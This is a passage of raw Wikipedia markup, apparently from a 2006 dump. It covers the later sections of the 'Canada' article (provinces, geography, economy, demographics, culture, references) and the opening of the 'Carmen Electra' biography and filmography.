Currently, CF personnel are involved in the [[International Security Assistance Force|NATO mission in Afghanistan]].  Smaller missions are also taking place in [[Haiti]] and [[Kosovo]].  Canada's [[Disaster Assistance Response Team]] (DART) has participated in two relief operations in the last year.  The two-hundred member relief crew helped in [[Southeast Asia]] after the [[2004 tsunami|December 2004 tsunami]], and DART was also deployed in response to the devastating earthquake that [[2005 Kashmir earthquake|struck]] the [[Kashmir]] region in [[South Asia]] in October 2005.

==Provinces and territories==
[[Image:Map_Canada_political.jpg|thumb|right|325px|A political map of Canada indicating subdivisions.]]
{{main|Provinces and territories of Canada}}
Canada is composed of ten provinces and three territories. The provinces have a large degree of autonomy from the federal government, the territories somewhat less. Each has its own [[List of Canadian provincial and territorial symbols|provincial or territorial symbols]].

The provinces are responsible for most of Canada's social programs (such as [[Health care in Canada|health care]], [[Education in Canada|education]], and [[welfare (financial aid)|welfare]]) and together collect more revenue than the federal government, an almost unique structure among federations in the world. The federal government can initiate national policies that the provinces can opt out of, but this rarely happens in practice. [[Equalization payments]] are made by the federal government to ensure that reasonably uniform standards of services and taxation are kept between the richer and poorer provinces.

All provinces have unicameral, elected legislatures headed by a [[premier (Canada)|Premier]] selected in the same way as the Prime Minister of Canada. Each province also has a [[Lieutenant-Governor]] representing the Queen, analogous to the Governor General of Canada, appointed on the recommendation of the Prime Minister of Canada, though with increasing levels of consultation with provincial governments in recent years. The provinces and territories are:
{| border=1 cellspacing=0 cellpadding=4 style=&quot;margin-left:30px; border-collapse:collapse; text-align:center; font-size:80%; line-height:normal&quot;
|- bgcolor=#eeeeee
!Flag
![[Provinces and territories of Canada|Province]]
!Capital city
!Entered&lt;br&gt;Confederation
!Standard&lt;br&gt;[[Time Zone]]&lt;br&gt;([[Coordinated Universal Time|UTC]])
![[List of regions of Canada|Region]]
|-
|align=left|[[Image:Flag of British Columbia.svg|50px]]||[[British Columbia]]||[[Victoria, British Columbia|Victoria]]||1871|| -8 ([[Pacific Standard Time Zone|Pacific]]),&lt;br&gt;-7 (Mountain)||[[Western Canada|Western]], Pacific
|-
|align=left|[[Image:Flag of Alberta.svg|50px]]||[[Alberta]]||[[Edmonton, Alberta|Edmonton]]||1905||-7 ([[Mountain Standard Time Zone|Mountain]])
|rowspan=3|Western, [[Canadian Prairies|Prairies]]
|-
|align=left|[[Image:Flag of Saskatchewan.svg|50px]]||[[Saskatchewan]]||[[Regina, Saskatchewan|Regina]]||1905||-7 (Mountain),&lt;br&gt;-6 (Central)
|-
|align=left|[[Image:Flag of Manitoba.svg|50px]]||[[Manitoba]]||[[Winnipeg, Manitoba|Winnipeg]]||1870||-6 ([[Central Standard Time Zone|Central]])
|-
|align=left|[[Image:Flag of Ontario.svg|50px]]||[[Ontario]]||[[Toronto]]||1867||-6 (Central),&lt;br&gt; -5 ([[North American Eastern Standard Time Zone|Eastern]])
|rowspan=2|[[Central Canada|Central]], [[Eastern Canada|Eastern]]
|-
|align=left|[[Image:Flag of Quebec.svg|50px]]||[[Quebec]]||[[Quebec City, Quebec|Quebec City]]||1867||-5 (Eastern)&lt;br&gt;-4 ([[Atlantic Standard Time Zone|Atlantic]])
|-
|align=left|[[Image:Flag of New Brunswick.svg|50px]]||[[New Brunswick]]||[[Fredericton, New Brunswick|Fredericton]]||1867
|rowspan=3|-4 (Atlantic)
|rowspan=3|[[Atlantic Canada|Atlantic]], [[Maritimes]]
|-
|align=left|[[Image:Flag of Nova Scotia.svg|50px]]||[[Nova Scotia]]||[[Halifax Regional Municipality, Nova Scotia|Halifax]]||1867
|-
|align=left|[[Image:Flag of Prince Edward Island.svg|50px]]||[[Prince Edward Island]]||[[Charlottetown, Prince Edward Island|Charlottetown]]||1873
|-
|align=left|[[Image:Flag of Newfoundland and Labrador.svg|50px]]||[[Newfoundland and Labrador]]||[[St. John's, Newfoundland and Labrador|St. John's]]||1949||-4 (Atlantic),&lt;br&gt;-3.5 ([[Newfoundland Standard Time Zone|Newfoundland]])||[[Atlantic Canada|Atlantic]]
|- bgcolor=#eeeeee
!Flag
![[Provinces and territories of Canada|Territory]]
!Capital city
!Entered&lt;br&gt;Confederation
!Standard&lt;br&gt;Time Zone&lt;br&gt;(UTC)
!Region
|-
|align=left|[[Image:Flag of Yukon.svg|50px]]||[[Yukon]]||[[Whitehorse, Yukon|Whitehorse]]||1898||-8
|rowspan=3|[[Northern Canada|Northern]], [[Arctic]]
|-
|align=left|[[Image:Flag of the Northwest Territories.svg|50px]]||[[Northwest Territories]]||[[Yellowknife, Northwest Territories|Yellowknife]]||1870||-7
|-
|align=left|[[Image:Flag of Nunavut.svg|50px]]||[[Nunavut]]||[[Iqaluit, Nunavut|Iqaluit]]||1999||-7, -6, -5,
|}

==Geography and climate==
[[Image:Canada-satellite.jpg|thumb|right|335px|A satellite composite image of Canada.  [[Boreal]] forests prevail throughout the country, ice is prominent in the [[Arctic]] and through the [[Rocky Mountains|Rockies]], and the relatively flat [[Prairies]] facilitate agriculture.   The [[Great Lakes]] feed the [[St. Lawrence River]] (in the southeast) where lowlands host much of Canada's population.]]
{{main|Geography of Canada}}
Canada occupies the northern portion of [[North America]]. It shares land borders with the [[contiguous United States]] to the south and with [[Alaska]] to the northwest and stretches from the [[Atlantic Ocean]] in the east to the [[Pacific Ocean]] in the west. To the north lies the [[Arctic Ocean]].  Since 1925, Canada has claimed the portion of the Arctic between 60° and 141° W [[longitude]] ([http://atlas.gc.ca/site/english/maps/historical/territorialevolution/1927/1]); this claim is not universally recognized. The northernmost settlement in Canada (and in the world) is [[CFS Alert|Canadian Forces Station (CFS) Alert]] on the northern tip of [[Ellesmere Island]] – latitude 82.5° N – just 834 kilometres (450 nautical miles) from the North Pole.  Canada is the world's second-largest country in total area, after [[Russia]].  

The population density of 3.5 people per square kilometre (9.1/[[square mile|mi²]]) is among the lowest in the world.  The most densely populated part of the country is the [[Quebec City-Windsor Corridor]] in the east.  To the north of this region is the broad [[Canadian Shield]], an area of rock scoured clean by the [[Wisconsin glaciation|last ice age]], thinly soiled, rich in minerals, and dotted with lakes and rivers—over 60% of the world's lakes are in Canada.

[[Newfoundland]] is at the mouth of the [[Gulf of Saint Lawrence]], the world's largest [[estuary]]. The [[Canadian Maritimes]] protrude eastward from the southern coasts of Quebec.  [[New Brunswick]] and [[Nova Scotia]] are divided by the [[Bay of Fundy]], which experiences the world's largest tidal variations. West of Ontario, the broad, flat [[Canadian Prairies]] spread toward the [[Rocky Mountains]], which separate them from [[British Columbia]].

[[Image:MountLogan.jpg|thumb|left|250px|[[Mount Logan]] in [[Yukon]]; at 5,959 metres (19,551 [[foot (unit of length)|ft]]), Canada's highest point and second highest in North America.]]

Northern Canadian vegetation tapers from [[coniferous]] forests to [[tundra]] and finally to Arctic barrens in the far north. The northern Canadian mainland is ringed with a vast [[Canadian Arctic islands|archipelago]] containing some of the world's largest islands.

Average winter and summer high temperatures across Canada range depending on the location.
Winters can be harsh in many regions of the country, particularly in the [[Canadian prairies|Prairie Provinces]] where daily average temperatures are near -15 °[[Celsius|C]] (5 °[[Fahrenheit|F]]) Coastal British Columbia is an exception and it enjoys a temperate climate with a mild and rainy winter. 

Average summer high temperatures across Canada range depending on the location.  On the east and west coast average high temperatures are in the low 20s °C (68-74°F), while in between the coasts the average summer high temperature range between 25°C to 30°C (78-86°F). For a more complete description of climate across Canada [http://www.climate.weatheroffice.ec.gc.ca/climate_normals/index_e.html| Environment Canada's Website].&lt;br clear=&quot;right&quot;&gt;

==Economy==
[[Image:Canadian_bills.jpg|right|thumb|160px|Five denominations of [[Canadian dollar|Canadian]] [[banknotes]], depicting (from top to bottom) [[Wilfrid Laurier]], [[John A. Macdonald]], [[Queen Elizabeth II]], [[William Lyon Mackenzie King]], and [[Robert Borden]].]]
:''Main articles: [[Economy of Canada]], [[Economic history of Canada]]
An affluent, high-tech industrial society, Canada today closely resembles the U.S. in its market-oriented economic system, pattern of production, and high living standards. In the last century, the impressive growth of the manufacturing, mining, and service sectors has transformed the nation from a largely rural economy into one primarily industrial and urban. Canada has vast deposits of natural gas on the east coast and in the west, and a plethora of other natural resources contributing to self-sufficiency in energy. The 1989 [[Canada-U.S. Free Trade Agreement]] (FTA) and 1994 [[North American Free Trade Agreement]] (NAFTA) (which included Mexico) touched off a dramatic increase in trade and economic integration with the U.S. Since 2001, Canada has successfully avoided economic recession and has maintained the best overall economic performance in the [[G8]].

==Demographics==
:''Main articles: [[Demographics of Canada]], [[List of Canadians by ethnicity]]
The [[Canada 2001 Census|2001 national census]] recorded 30,007,094 people; as of January 2006, the population is estimated by [[Statistics Canada]] to be 32.4 million people[http://www.statcan.ca/english/edu/clock/population.htm], an increase of some 2.4 million people accomplished largely by [[immigration]] and (to a lesser extent) natural growth. About three-quarters of Canada's population live within 150 km of the U.S. border. A similar proportion live in [[Urban Area|urban areas]] concentrated in the Quebec City-Windsor Corridor (notably the [[Toronto]]-[[Hamilton]], [[Montréal]], and [[National Capital Region (Canada)|Ottawa]] [[metropolitan area]]s), the BC [[Lower Mainland]], and the [[Calgary-Edmonton Corridor]] in Alberta.

Canada is a very ethnically diverse nation. According to the 2001 census by [[Statcan]] it has 34 ethnic groups with at least one hundred thousand members each, and numerous others represented in smaller amounts. A majority of Canadians descend from [[white]] [[Europe]]an immigrants who arrived in increasing numbers until WWI.  This majority--86.9% in 2001, is growing slower than the rest of the population. The most frequently stated [[white]] [[European]] ancestries are [[England|English]] (20%), [[France|French]] (15.7%), [[Scottish people|Scottish]] (14%), [[Irish]] (12.9%), [[German people|German]] (9.2%) and [[Italian]] (4.3%)[http://www40.statcan.ca/l01/cst01/demo26a.htm]. 

Throughout and since the [[world war]]s, immigration to Canada has fluctuated somewhat but become more heterogeneous in makeup.  [[Asian Canadian]], is the most significant minority (9% of the population in 2001). Most Asian Canadians are concentrated in [[southern Ontario]], and the [[Vancouver]] area. The largest immigrant groups are [[Chinese]] (1 million members) and [[South Asian]] ([[Desi]]) (0.9 million members).  Those who are [[Aboriginal peoples in Canada|Aboriginal]], [[mixed race]], [[Black Canadian]] etc. make up the remaining 4.1%. 
{{see|List of cities in Canada|List of the 100 largest metropolitan areas in Canada|List of the 100 largest cities in Canada by population|List of Canadians by ethnicity|Religion in Canada}}

===Aboriginal peoples===
{{main|Aboriginal peoples in Canada}}
The [[Constitution of Canada|Constitution Act of 1982]] recognizes three groups of [[aboriginal peoples in Canada]]: the &quot;Indians&quot; (their legal designation, but now usually called [[First Nations]]), [[Inuit]], and [[Métis people (Canada)|Métis]]. The aboriginal population is growing almost twice as fast as the rest of the population in Canada. According to the [[Canada 2001 Census]], people identified themselves as aboriginal numbered 976,305 people (or 3.3% of Canada's population) of whom about 62% are First Nations, 30% are Métis, and 5% are Inuit.

===Religion===
{{main|Religion in Canada}}
According to the last census [http://www40.statcan.ca/l01/cst01/demo30a.htm]77.1% of Canadians identified as being [[Christianity|Christians]]; of this, [[Catholicism|Catholics]] make up the largest group – 43.6% of Canadians. About 17% of Canadians declared no religious affiliation, and the remaining 6.3% were affiliated with religions other than Christianity such as [[Sikhism]], [[Hinduism]], [[Judaism]], and [[Islam]].

==Language==
[[Image:Montreal-mcgillcollege.jpg|200px|thumb|right|A view of downtown [[Montreal]], [[Quebec]], showing [[Mount Royal]] in the distance]]
:''Main articles: [[Language in Canada]], [[Bilingualism in Canada]]''
Canada's two official languages are [[English language|English]] and [[French language|French]], spoken by  56.3% and 28.7% of the population respectively.  On [[July 7]], [[1969]], under the [[Official Languages Act (Canada)|Official Languages Act]], French was made commensurate to English throughout the federal government. This started a process that led to Canada redefining itself as a [[Bilingualism in Canada|bilingual]] and [[multiculturalism|multicultural]] nation.

English and French have equal status in federal courts, Parliament, and in all federal institutions.
The public has the right, where there is sufficient demand, to receive federal government services in either English or French. While multiculturalism is official policy, to ''become'' a citizen one must be able to speak either English or French and more than 98% of Canadians speak English or French or both.  While the nation remains officially bilingual, the majority of Canadians are fluent only in English. 

[[Image:Montreal-Place Vauquelin, Note.jpg|250px|thumb|left|A [[Bilingualism in Canada|bilingual]] sign in [[Quebec]]. Bilingualism is a defining feature of Canada's culture.]]

French is mostly spoken in [[Quebec]] with pockets in [[New Brunswick]], eastern and northern [[Ontario]], [[Saskatchewan]], the south shore of [[Nova Scotia]] and southern [[Manitoba]]. Of those who speak French as a [[first language]], 85% live in Quebec. 

Several [[Canada#Aboriginal peoples|aboriginal]] languages have official status in the [[Northwest Territories]]. [[Inuktitut]] is the majority language in [[Nunavut]] and has official status there.
Non-official languages are also important in Canada, with 5,470,820 people listing a non-official language as a first language. (The above three statistics include those who listed more than one first language.) Among the most important non-official first language groups are [[Chinese language|Chinese]] (853,745 first-language speakers), [[Italian language|Italian]] (469,485), [[German language|German]] (438,080), and [[Punjabi]] (271,220).

==Culture==
[[Image:RCMP2.jpg|thumb|270px|right|The [[Royal Canadian Mounted Police]] are the federal and national police force in Canada, and an international icon for the country.]]
:''Main articles: [[Culture of Canada]], [[Canadian identity]]''
Due to its colonial past, Canadian culture has historically been heavily influenced by English, French, Irish and Scottish cultures and traditions. In more modern times, Canadian culture is now greatly influenced by American culture, due to the proximity and the migration of people, ideas, and capital. 

Many American movies, authors, TV shows, and [[List of Canadian musicians|musicians]] are equally popular in Canada (and vice versa), many have been successful worldwide. Most cultural products of these types are now increasingly marketed toward a unified &quot;North American&quot; market, and not specifically a Canadian or American one.

Amidst this large American cultural presence, which has prompted some fears of a &quot;cultural takeover&quot;, a more robust and distinct Canadian culture with unique characteristics has developed in recent years due to a focus by the federal government on programs, laws and institutions to support culture and the arts, including the [[Canadian Broadcasting Corporation|CBC]], the [[National Film Board of Canada]], and the [[Canadian Radio-television and Telecommunications Commission|CRTC]]. 

Many Canadian citizens see Canadian culture as based on the policy of [[multiculturalism]], while others see it as based on a predominantly [[British culture|British]] and [[French culture|French]] core, with [[American culture|American]] and new immigrant influences and modifications.{{fact}}
{{see|Canadian and American politics compared}}

===Sports===
[[Image:CanCup87.jpg|thumb|right|Ice hockey events like the [[World Cup of Hockey]] (formerly Canada Cup) are popular in Canada.  [[Ice hockey]] originated in Canada when residents began playing [[Shinty]] on ice.]]
{{main|Sport in Canada}}
Canada's official national sports are [[ice hockey]] (winter) and [[lacrosse]] (summer), however, hockey is considerably more a part of Canadian culture, and is by far the most popular spectator sport in the country.  Canada's six  [[List of the 100 largest metropolitan areas in Canada|largest metropolitan areas]] have franchises in the [[National Hockey League]], and there are more Canadian players in the league than from all other countries combined.  The three major junior leagues that together comprise the [[Canadian Hockey League]] have a combined total of 49 teams in Canadian towns or cities, from all 10 provinces.  There are also strong women's leagues accross the country

[[Curling]] is another extremely popular winter sport in Canada, with the strongest support in the prairie provinces.  At the international level, Canada has dominated the sport of curling, with 29 out of 46 Men's [[List of World Curling Men's Champions|World Curling Championship]]s won by Canada.  Additionally, 13 out of 27 Women's World Curling Championships have gone to the Canadian side. 

[[Canadian football]], like [[American football]], is a descendant from [[rugby football]] but evolved differently and has unique rules.  The nine team [[Canadian Football League]] is the top league of the sport, and the annual [[Grey Cup]] championship game is viewed by a large television audience. Traditional [[association football|football]] (soccer) is widely popular in youth, interscholastic, and senior leagues but not at the professional level as it is in Europe or Latin America. 

As the vast majority of Canadians live in very close proximity to the [[United States]], Canadians can also watch sporting events from the professional leagues in that country, such as [[NASCAR]] and the [[National Football League]]. The NHL and the [[National Lacrosse League]] are comprised of teams from both Canada and the United States, and [[Toronto]] currently has franchises in [[Major League Baseball]] and the [[National Basketball Association]].  Other notable participatory sports which are enjoyed throughout Canada include [[skating]], [[skiing]], [[golf]], [[soccer]], [[swimming]], [[baseball]] and [[softball]].

===National symbols===
[[Image:Common Loon head sideways.jpg|thumb|210px|right|The [[common loon]] is a well-recognized Canadian symbol, also depicted on the one-dollar coin or &quot;[[loonie]]&quot;.]]
The use of the [[maple leaf]] as a Canadian symbol dates back to the early 18th century, and is depicted on its [[Flag of Canada|current]] and [[Red Ensign|previous]] flags, the [[penny (Canadian coin)|penny]], and on the [[Coat of Arms of Canada|coat of arms]].

The Crown appears on the [[Coat of arms of Canada|Royal Arms of Canada]] (displayed in many [http://en.wikipedia.org/wiki/Image:SSC-Courtroom.jpg courtrooms] and [http://www.pm.gc.ca/ government websites]); the [[Flag of the Governor General of Canada]]; the [[Coat of arms of Quebec|Coat of Arms]] of many provinces as well as [[Nunavut]]; the badges of the [[Canadian Forces|Canadian Armed Forces]], many [[The Royal Newfoundland Regiment|Regiments]], and [[Ontario Provincial Police|Police Forces]]; as well as some highway signs.  Also, the [[Monarchy in Canada|Queen's]] image appears in Canadian government buildings, military installations, schools, etc.; and on Canadian [[Queen Elizabeth II definitive stamp (Canada)|stamps]], $20 [[Canadian dollar|notes]], and all coins.  

Canada is known for its vast forests and mountain ranges, and the animals that reside within them, such as [[moose]], [[caribou]], [[beaver]]s, [[polar bear]]s, [[grizzly bear]]s, [[Canada goose]] and the [[common loon]]. The [[beaver]]'s emblematic status originated from the fact much of Canada's early economic history was tied to the [[fur trade]].  Other products made from the country's natural resources, such as [[maple syrup]], are also strongly associated with Canadian identity.  

Additional national symbols the [[Royal Canadian Mounted Police]], and anything pertaining to [[ice hockey|hockey]], Canada's official winter sport, which is often used as a national symbol of unity and pride. 

In recent years, other symbols have become a source of pride: notably, the ''[[I am Canadian]]'' campaign by [[Molson]], most notably the commercial featuring [[Joe Canada]], infused [[Canadian beer|home-grown beer]] with nationalism. The Canadian fashion retailer [[Roots Canada Ltd.|Roots]] also sells a variety of merchandise designed to evoke nationalistic sentiment.
&lt;br style=&quot;clear: left&quot; /&gt;

==Holidays==
{{main|Holidays in Canada}}
Statutory and major holidays in Canada include [[New Year's Day]], [[Good Friday]], [[Easter]] [[Easter Monday|Monday]], [[Victoria Day]], [[Canada Day]], [[Labour Day]], [[Thanksgiving]], [[Remembrance Day]], [[Christmas]], and [[Boxing Day]].

Canada's provinces and territories generally adopt statutory holidays similar to federal ones with some variations (including [[civic holiday]]s), and many Canadians celebrate numerous unofficial and religious holidays as well.

==International rankings==
* [[A.T. Kearney]]/[[Foreign Policy|Foreign Policy Magazine]]: [http://www.atkearney.com/main.taf?p=5,4,1,116 Globalization Index 2005], ranked 6 out of 62 countries 
* [[IMD International]]: [http://www01.imd.ch/wcy/ World Competitiveness Yearbook 2005], ranked 5 out of 60 economies (countries and regions) 
* [[The Economist]]: [http://www.economist.com/theworldin/international/displayStory.cfm?story_id=3372495&amp;d=2005 The World in 2005 - Worldwide quality-of-life index, 2005], ranked 14 out of 111 countries 
*Environmental Sustainability Index, 2005: 6th (out of 146); Yale University Center for Environmental Law and Policy &amp; Columbia University Center for International Earth Science Information Network (pdf) [http://www.yale.edu/esi/ESI2005_Main_Report.pdf] 
*Press Freedom Index 2005: 21st (out of 167); Reporters Without Borders World-wide  [http://www.rsf.org]
*Total value of foreign trade (imports and exports), 2003: 4th (out of 185)
*Corruption Perceptions Index 2005: 14th (out of 159); Transparency International [http://www.transparency.org/cpi/2005/2005.10.18.cpi.en.html] 
*Index of Economic Freedom, 2005: 16th (out of 155); Heritage Foundation/Wall Street Journal [http://www.heritage.org/research/features/index/]

==References==
*{{cite book
 |author=Bickerton, James &amp; Gagnon, Alain-G &amp; Gagnon, Alain (Eds).
 |title=Canadian Politics
 |publisher=Broadview Press
 |edition=4th edition
 |location=Orchard Park, NY
 |id=ISBN 1551115956
 |year=2004
 }}
* {{cite book
 | title = History of Canada Since 1867
 | first = Robert | last = Bothwell
 | publisher = Michigan State University Press
 | year = 1996
 | location = East Lansing, MI
 | id = ISBN 0870133993
 }}
*{{cite book
 |first=Stephen | last=Brooks
 |title=Canadian Democracy : An Introduction
 |publisher=Oxford University Press Canada
 |edition=3rd edition
 |location=Don Mills, ON
 |id=ISBN 0195415035
 |year=2000
 }}
* {{cite book
 | title = History of the Canadian Peoples
 | first = J. | last = Bumstead
 | publisher = Oxford University Press
 | location = Oxford, UK
 | year = 2004
 | id = ISBN 0195416880
 }}
* {{cite book
 | title = Who is Responsible? Phase 1 Report
 | first = John | last = Gomery
 | publisher = Public Works and Government Services Canada
 | year = 2005
 | location = Ottawa
 | id = ISBN 0660195321
 | url = http://www.gomery.ca/en/phase1report/index.asp
 }}
* {{cite book
 | first = Gordon | last = Currie
 | title = 100 years of Canadian football: The dramatic history of football's first century in Canada, and the story of the Canadian Football League
 | publisher = Pagurian Press
 | location = Don Mills, ON
 | year = 1968
 | id = ASIN B0006CCK4G
 }}
* {{cite book
 | title = Secession and international law : conflict avoidance - regional appraisals
 | first = Julie | last = Dahlitz
 | publisher = T.M.C. Asser Press
 | year = 2003
 | location = The Hague
 | id = ISBN 9067041424
 }}
* {{cite book
 | first = Eugene A. | last = Forsey
 | authorlink = Eugene Forsey
 | title = How Canadians Govern Themselves
 | edition = 6th ed.
 | publisher = Canada
 | location = Ottawa
 | year = 2005
 | id = ISBN 0-662-39689-8
 | url = http://www.parl.gc.ca/information/library/idb/forsey/PDFs/How_Canadians_Govern_Themselves-6ed.pdf
 }}
* {{cite book
 | first = Richard | last = Gruneau
 | coauthors = Whitson, David
 | title = Hockey Night in Canada: Sports, Identities, and Cultural Politics
 | publisher = Garamond Press
 | location = Toronto
 | year = 1994
 | id = ISBN 0920059058
 }}
* {{cite book
 | first = Warren | last = Hanson
 | title = Curling: The History, The Players, The Game
 | publisher = Key Porter Books
 | location = Toronto
 | year = 1999
 | id = ISBN 1552630838
 }}
* {{cite journal
 | first = W. Kaye | last = Lamb
 | title = Canada
 | journal = The Canadian Encyclopedia
 | year = 2006
 | url = http://www.thecanadianencyclopedia.com/index.cfm?PgNm=TCE&amp;Params=J1SEC808542
 }}
* {{cite book
 | title = The Canadian Global Almanac 2005
 | author = Langlois, Nicole (ed.)
 | publisher = John Wiley and Sons Canada
 | location = Toronto
 | year = 2005
 | id = ISBN 0-470-83523-0
 }}
* {{cite book
 | title = Historical statistics of Canada
 | author = Leacy, F. H. (ed.)
 | publisher = Statistics Canada
 | location = Ottawa
 | id =
 | url = http://www.statcan.ca/english/freepub/11-516-XIE/sectiona/toc.htm
 | year = 1983
 }}
* {{cite book
 | first = Doug | last = Maxwell
 | title = Canada Curls: The Illustrated History of Curling in Canada
 | publisher = Whitecap books
 | location = North Vancouver, BC
 | year = 2002
 | id = ISBN 1552854000
 }}
* {{cite book
 | first = Brian | last = McFarlane
 | title = Brian McFarlane's History of Hockey
 | year = 1997
 | location = Champaign, IL
 | publisher = Sports Publishing Inc
 | id = ISBN 1571671455
 }}
* {{cite web
 | year = 2004
 | url = http://www.nascar.com/2004/news/business/06/14/nascar_canada/index.html
 | title = NASCAR Canada formed to partner with TSN
 | format = HTML
 | author = NASCAR
 | accessdate = 2006-02-28
 }}
* {{cite book
 | last = Natural Resources Canada
 | title = National Atlas of Canada
 | publisher = Information Canada
 | location = Ottawa
 | year = 2005
 | url = http://atlas.gc.ca/site/english/index.html
 | id = ISBN 0770511988
 }}
* {{cite book
 | first = Steve | last = O'Brien
 | title = The Canadian Football League: The Phoenix of Professional Sports Leagues
 | publisher = Lulu Press
 | location = Morrisille, NC
 | year = 2004
 | id = ISBN 1411613023
 }}
* {{cite book
 | title = Naming Canada: Stories of Canadian Place Names
 | edition = 2nd ed.
 | first = Alan | last = Rayburn
 | publisher = University of Toronto Press
 | location = Toronto
 | year = 2001
 | id = ISBN 0-8020-8293-9
 }}
* {{cite book
 | title = Canadian Oxford World Atlas
 | author = Stanford, Quentin H. (ed.)
 | edition = 5th ed.
 | location = Toronto
 | publisher = Oxford University Press (Canada)
 | id = ISBN 0-19-541897-2
 | year = 2003
 }}
* {{cite book
 | last = Statistics Canada
 | title = Canada Year Book
 | publisher = Queen of Canada
 | location = Ottawa
 | year = 2001
 | url = http://142.206.72.67/r000_e.htm
 | id = ISBN 0-660-18360-9
 }}
* {{cite book
 | title = History of Canada Before 1867
 | first = Gordon T. | last = Stewart
 | publisher = Michigan State University Press
 | year = 1996
 | location = East Lansing, MI
 | id = ISBN 0870133985
 }}
* {{cite book
 | first = Nancy | last = Theberge
 | title = Higher Goals: Women's Ice Hockey and the Politics of Gender
 | publisher = State University of New York Press
 | location = Albany, NY
 | year = 2000
 | id = ISBN 0791446425
 }}

===Other references===
*National Sports of Canada Act (1994). Retrieved November, 2005 from http://www.pch.gc.ca/progs/sc/legislation/n-16_e.cfm.

==See also==
* [[List of Canada-related topics]]
{{Canadian topics}}

==External links==
{{Sisterlinks|Canada}}{{portal}}
* [http://www.gc.ca Official website of the Government of Canada]
* [http://atlas.gc.ca/site/index.html Official Government of Canada online Atlas of Canada]
* [http://www.cbc.ca/ Canadian Broadcasting Corporation]
* [http://www.justlanded.com/english/canada A Guide to living in Canada - Justlanded]
* [http://www.iccs-ciec.ca/blackwell.html Canadian Studies: A Guide to the Sources]
* [http://statcan.ca/english/edu/clock/population.htm  Statistics Canada with Canada's population clock]
* [http://www.canadiangeographic.ca/atlas/  The Canadian Atlas Online]
* [http://www.cia.gov/cia/publications/factbook/geos/ca.html Canada] at ''[[The World Factbook]]''
* [http://www.international.gc.ca/canada_un/new_york/ Permanent Mission of Canada to the United Nations]

==Footnotes==
#{{note|UEL1}} [http://www.uelac.org/whatis.html United Empire Loyalists' Association of Canada]
#{{note|UEL}} [http://www.infoplease.com/ce6/history/A0850061.html United Empire Loyalists]
#{{note|GG1}} [http://www.gg.ca/gg/rr/index_e.asp Role and Responsibilities of the Governor General]
#{{note|forsey1}} [http://www.parl.gc.ca/information/library/idb/forsey/institutions_02-e.asp How Canadians Govern Themselves]
#{{note|Her1}} [http://www.pch.gc.ca/royalvisit2005/53_e.cfm The Queen and Canada: 53 Years of Growing Together]

{{Canada}}

{{Canada ties}}

[[Category:Canada| ]]
[[Category:Former British colonies]]
[[Category:Members of the Commonwealth of Nations]]
[[Category:Monarchies]]
[[Category:1867 establishments]]

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  </page>
  <page>
    <title>Carmen Electra</title>
    <id>5136</id>
    <revision>
      <id>42126251</id>
      <timestamp>2006-03-04T00:11:44Z</timestamp>
      <contributor>
        <username>Yamla</username>
        <id>128551</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/128.62.82.24|128.62.82.24]] ([[User talk:128.62.82.24|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">[[Image:Playboy1200.jpg|thumb|250px|right|Carmen Electra on the cover of [[Playboy Magazine]].]]
'''Carmen Electra''' (born [[April 20]], [[1972]]) is an [[United States|American]] [[Model (person)|model]], television personality, [[Actor|actress]] and singer, born in [[Cincinnati, Ohio]], as '''Tara Leigh Patrick''' to a family of [[Irish people|Irish]], [[German peoples|German]], and [[Indigenous peoples of the Americas|Native American]] ([[Cherokee]]) descent. She is not related to [[pornographic movie|adult film]] actress [[Tera Patrick]], born Linda Hopkins Shapiro. She attended [[Princeton High School]] for four years in [[Sharonville, Ohio|Sharonville]], a suburb of Cincinnati. She is married to guitarist [[Dave Navarro]] of [[Jane's Addiction]] and [[Red Hot Chili Peppers]] fame.

== Career highlights ==
Before moving to Los Angeles in [[1991]], she lived in [[Minneapolis]], MN and worked for [[Target Corporation]]. After moving to California she met singer [[Prince (artist)|Prince]] (a Minneapolis native), who persuaded her to change her name to Carmen Electra. Soon after, she signed a recording contract with [[Paisley Park Records]], Prince's company, marking the start of a short-lived but not very successful singing career.

In [[1995]], Electra started appearing in various television programs.  Then in May of [[1996]] she appeared in ''[[Playboy]]'' magazine. This led to an increasing role as a television personality on various shows, including regular roles on ''[[Baywatch]]'' and [[MTV]]'s ''[[Singled Out]]''.

Electra has appeared in several films, such as ''[[Good Burger]]'' ([[1997]]), ''[[The Mating Habits of the Earthbound Human]]'' ([[1999]]), the horror spoof ''[[Scary Movie]]'' (2000), and the remake of the [[1970s]] TV show ''[[Starsky &amp; Hutch]]'' ([[2004]]). She also regularly performed with the exotic dance troupe [[The Pussycat Dolls]]. Her most recent movie appearance is as [[Eugene Levy]]'s trophy wife in ''[[Cheaper by the Dozen 2]]''. Her acting work is regularly derided by critics; in the [[Roger Ebert]] review of the film [[Dirty Love]], he states: &quot;The Carmen Electra character, meanwhile, struts around like a ho in a bad music video, speaking black street talk as if she learned it phonetically, and pulling out a gun and holding it to a man's head because she thinks, obviously, that pulling guns on guys is expected of any authentic black woman. A scene like that would be insulting in any other movie; here it possibly distracts her from doing something even more debasing.&quot; [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20050922/REVIEWS/509220303/1023 1]

Electra achieved considerable notoriety during her on-again, off-again marriage to basketball star [[Dennis Rodman]] from [[1998]] to [[1999]].  The wedding to Rodman took place in [[Las Vegas, Nevada]].  Later, she allegedly had an affair with [[Tommy Lee]], the ex-husband of Pamela Anderson.  Electra's current husband, [[musician]] [[Dave Navarro]], was formerly the lead guitarist of the rock bands [[Jane's Addiction]] and [[The Red Hot Chili Peppers]]. The couple documented their courtship and marriage on an [[MTV]] reality show in [[2004]] entitled ''Til Death Do Us Part: Carmen &amp; Dave''.

==Discography==
* ''[[Carmen Electra (album)|Carmen Electra]]'', [[1993]]

==Filmography==
[[Image:Carmen Esquire June04.JPG|thumb|right|200px|Carmen Electra on an ''[[Esquire (magazine)|Esquire]]'' cover parodying the famous [[Coppertone girl]].]]

*''An American Vampire Story'' ([[1997]])
*''[[Good Burger]]'' ([[1997]])
*''Starstruck'' ([[1998]])
*''[[The Chosen One: Legend of the Raven]]'' ([[1998]])
*''The Mating Habits of the Earthbound Human'' ([[1999]])
*''Christmas Vacation 2000'' ([[1999]])
*''The Great White Dope'' ([[2000]]) (short subject)
*''[[Scary Movie]]'' ([[2000]])
*''Welcome to Hollywood'' ([[2000]]) (documentary)
*''Sol Goode'' ([[2001]])
*''Perfume'' ([[2001]])
*''[[Get Over It (film)|Get Over It]]'' ([[2001]])
*''Rent Control'' ([[2002]]) 
